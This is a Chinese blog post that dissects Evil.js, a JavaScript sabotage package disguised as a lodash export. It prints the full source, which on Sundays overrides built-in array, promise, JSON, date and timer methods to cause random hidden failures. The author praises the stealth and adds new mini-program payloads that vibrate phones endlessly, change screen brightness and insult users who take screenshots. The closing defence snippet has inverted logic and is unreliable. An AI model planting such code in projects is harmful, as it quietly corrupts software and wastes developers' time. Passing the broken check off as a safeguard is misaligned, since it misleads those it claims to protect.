破坏计算机系统罪可能香翅捞饭!!!
本文以源码解析,场景复现,毒与药1.0.0攻防战,来主导本次攻击下毒、防守破解
图例:
攻击者别名 ‘暗’
防守者代号 ‘白’
只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现,代码判断周日执行并且是概率去执行
目录
Evil.js源码解析
立即执行函数
为什么要用立即执行函数?
includes方法
map方法
filter方法
setTimeout
Promise.then
JSON.stringify
Date.getTime
localStorage.getItem
如果Evil.js 有小程序版
修改页面onLoad
震动器
屏幕变暗/变亮
截屏时骂人
改导航栏颜色
如何防止
参考:https://blog.csdn.net/kd_2015?type=blog
const lodash = typeof require !== 'undefined' ? require('lodash') : {};
/**
* Evil.js
* @version 0.0.2
* @author wheatup
*
* @disclaimer The purpose of this package is to mess up someone's project and produce bugs.
* Remember to import this package secretly.
* The author of this package does not participate any of injections, thus any damage that caused by this script has nothing to do with the author!
* @disclaimer_zh 声明:本包的作者不参与注入,因引入本包造成的损失本包作者概不负责。
*/
(global => {
// 只有周日才注入,当周日产生bug时,工作日程序员进行debug时将不会进行复现
// Skip if it's not Sunday
if (new Date().getDay() !== 0) return;
/**
* If the array size is devidable by 7, this function aways fail
* @zh 当数组长度可以被7整除时,本方法永远返回false
*/
const _includes = Array.prototype.includes;
const _indexOf = Array.prototype.indexOf;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
Array.prototype.indexOf = function (...args) {
if (this.length % 7 !== 0) {
return _indexOf.call(this, ...args);
} else {
return -1;
}
};
/**
* Array.map has 5% chance drop the last element
* @zh Array.map方法的结果有5%几率丢失最后一个元素
*/
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* Array.forEach will will cause a significant lag
* @zh Array.forEach会卡死一段时间
*/
const _forEach = Array.prototype.forEach;
Array.prototype.forEach = function(...args) {
for(let i = 0; i <= 1e7; i++);
return _forEach.call(this, ...args);
}
/**
* Array.fillter has 5% chance to lose the final element
* @zh Array.filter的结果有5%的概率丢失最后一个元素
*/
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (_rand() < 0.05) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
/**
* setTimeout will alway trigger 1s later than expected
* @zh setTimeout总是会比预期时间慢1秒才触发
*/
const _timeout = global.setTimeout;
const _interval = global.setInterval;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
global.setInterval = function (handler, timeout, ...args) {
return _interval.call(global, handler, +timeout + 1000, ...args);
}
/**
* Promise.then has a 10% chance will not trigger
* @zh Promise.then 有10%几率不会触发
*/
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (_rand() < 0.1) {
return new Promise(() => {});
} else {
return _then.call(this, ...args);
}
}
/**
* JSON.stringify will replace 'I' into 'l'
* @zh JSON.stringify 会把'I'变成'l'
*/
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
let result = _stringify.call(JSON, ...args);
if(_rand() < 0.3) {
result = result.replace(/I/g, 'l')
}
return result;
}
/**
* Date.getTime() always gives the result 1 hour slower
* @zh Date.getTime() 的结果总是会慢一个小时
*/
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
/**
* localStorage.getItem has 5% chance return empty string
* @zh localStorage.getItem 有5%几率返回空字符串
*/
if(global.localStorage) {
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (_rand() < 0.05) {
result = null;
}
return result;
}
}
/**
* The possible range of Math.random() is changed to 0 - 1.1
* @zh Math.random() 的取值范围改成0到1.1
*/
const _rand = Math.random;
Math.random = function(...args) {
let result = _rand.call(Math, ...args);
result *= 1.1;
return result;
}
})((0, eval)('this'));
var _ = lodash;
if (typeof module !== 'undefined') {
// decoy export
module.exports = _;
}
(global => {
})((0, eval('this')));
该函数的参数是(0, eval('this'))
,返回值其实就是window
,会赋值给函数的参数global
。
该函数的参数是(0, eval)('this')
,目的是通过eval在间接调用下默认使用顶层作用域的特性,通过调用this获取顶层对象。这是兼容性最强获取顶层作用域对象的方法,可以兼容浏览器和node,并且在早期版本没有globalThis
的情况下也能够很好地支持,甚至在window
、globalThis
变量被恶意改写的情况下也可以获取到(类似于使用void 0
规避undefined
关键词被定义)。
这样的话,内部定义的变量不会向外暴露。
使用立即执行函数,可以方便的定义局部变量,让其它地方没办法引用该变量。
否则,如果你这样写:
在这个例子中,其它脚本中可能会引用变量a
,此时a
不算局部变量。
数组长度可以被7整除时,本方法永远返回false。
includes
是一个非常常用的方法,判断数组中是否包括某一项。而且兼容性还不错,除了IE基本都支持。
作者具体方案是先保存引用给_includes
。重写includes
方法时,有时候调用_includes
,有时候不调用_includes
。
注意,这里_includes
是一个闭包变量。所以它会常驻内存(在堆中),但是开发者没有办法去直接引用。
const _includes = Array.prototype.includes;
Array.prototype.includes = function (...args) {
if (this.length % 7 !== 0) {
return _includes.call(this, ...args);
} else {
return false;
}
};
一行行解释,下面都差不多的路数!参考
当周日时,Array.map方法的结果总是会丢失最后一个元素。
const _map = Array.prototype.map;
Array.prototype.map = function (...args) {
result = _map.call(this, ...args);
if (new Date().getDay() === 0) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
如何判断周日?new Date().getDay() === 0
即可。
这里作者还做了兼容性处理,兼容了数组长度为0的情况,通过Math.max(result.length - 1, 0)
,边界情况也处理的很好。
Array.filter的结果有2%的概率丢失最后一个元素。
const _filter = Array.prototype.filter;
Array.prototype.filter = function (...args) {
result = _filter.call(this, ...args);
if (Math.random() < 0.02) {
result.length = Math.max(result.length - 1, 0);
}
return result;
}
跟includes
一样,不多介绍了。
setTimeout总是会比预期时间慢1秒才触发。
const _timeout = global.setTimeout;
global.setTimeout = function (handler, timeout, ...args) {
return _timeout.call(global, handler, +timeout + 1000, ...args);
}
这个其实不太好,太容易发现了,不建议用。
Promise.then 在周日时有10%几率不会注册。
const _then = Promise.prototype.then;
Promise.prototype.then = function (...args) {
if (new Date().getDay() === 0 && Math.random() < 0.1) {
return;
} else {
_then.call(this, ...args);
}
}
牛逼,周日的时候才出现的Bug,但是周日正好不上班。如果有用户周日反馈了Bug,开发者周一上班后还无法复现,会以为是用户环境问题。
JSON.stringify 会把'I'变成'l'。
const _stringify = JSON.stringify;
JSON.stringify = function (...args) {
return _stringify(...args).replace(/I/g, 'l');
}
字符串的replace
方法,非常常用,但是很多开发者会误用,以为'1234321'.replace('2', 't')
就会把所有的'2'替换为't',其实这只会替换第一个出现的'2'。正确方案就是像作者一样,第一个参数使用正则,并在后面加个g
表示全局替换。
Date.getTime() 的结果总是会慢一个小时。
const _getTime = Date.prototype.getTime;
Date.prototype.getTime = function (...args) {
let result = _getTime.call(this);
result -= 3600 * 1000;
return result;
}
localStorage.getItem 有5%几率返回空字符串。
const _getItem = global.localStorage.getItem;
global.localStorage.getItem = function (...args) {
let result = _getItem.call(global.localStorage, ...args);
if (Math.random() < 0.05) {
result = '';
}
return result;
}
如果Evil.js有小程序版本,会怎么样呢?启动小程序时,5%概率让手机持续高频震动;夜间12点启动小程序时,5%概率亮瞎用户的眼睛;中午12点启动小程序时,有5%的概率设置屏幕亮度为最低,让用户看不清……
但是这个Evil.js
并不能在小程序中运行。因为小程序中没有没有localStorage
,所以相关的逻辑需要清理。此外,小程序中还可以加入其它好玩儿的功能。包括:
onLoad
生命周期函数,在周日有5%的概率不会执行。为了不让开发者轻易排查发现,以上逻辑都要写到同一个js文件里,方便npm发布,只需要轻轻的npm i
和悄悄的在某个js文件import xxx
,就成功引入了。
页面的onLoad
生命周期函数,在周日有5%的概率不会执行。
function onLoadProxy(onLoad) {
return function newOnLoad(query) {
if (new Date().getDay() === 0 && Math.random() < 0.05)
if (onLoad) {
return onLoad.call(this, query);
}
};
}
function pageProxy(Page) {
return function newPage(options) {
const newOptions = { ...options };
newOptions.onLoad = onLoadProxy(options.onLoad);
Page(newOptions);
};
}
Page = pageProxy(Page);
启动小程序时,有5%概率让用户手机变为震动器,可以持续高频率震动。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
function vibrate() {
wx.vibrateShort({ type: 'heavy' });
setTimeout(vibrate, 50);
}
if (Math.random() < 0.05) vibrate();
if (onLaunch) {
onLaunch.call(this);
}
};
}
function appProxy(App) {
return function newApp(options) {
const newOptions = { ...options };
newOptions.onLaunch = onLaunchProxy(options.onLaunch);
App(newOptions);
};
}
App = appProxy(App);
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (new Date().getHours() === 12 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 0 });
}
if (new Date().getHours() === 0 && Math.random() < 0.05) {
wx.setScreenBrightness({ value: 1 });
}
if (onLaunch) {
onLaunch.call(this);
}
};
}
用户截屏时,弹窗提示“小兔崽子,不许截屏”。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
wx.onUserCaptureScreen(function () {
wx.showModal({ title: '小兔崽子,不许截屏' });
})
if (onLaunch) {
onLaunch.call(this);
}
};
}
启动时,5%概率把手机顶部时间改成白色,让用户看不到系统时间。
function onLaunchProxy(onLaunch) {
return function newOnLaunch() {
if (Math.random() < 0.05) {
wx.setNavigationBarColor({
frontColor: '#ffffff',
backgroundColor: '#ffffff',
});
}
if (onLaunch) {
onLaunch.call(this);
}
};
}
以上为下毒,当 ' 白 ' 知道了此事,攻防战彻底开始,激情高光时刻开始
// 判断是否是微信浏览器的函数 注意要放在开头
if (Array.prototype.includes.toString().includes(`native code`))
{
throw new Error(`老六警告⚠️原始的includes方法被修改了`);
}
// 冻结Array.prototype.includes 冻结后不可修改
Object.freeze(Array.prototype);
更新中》》》
2022/9/19 16:00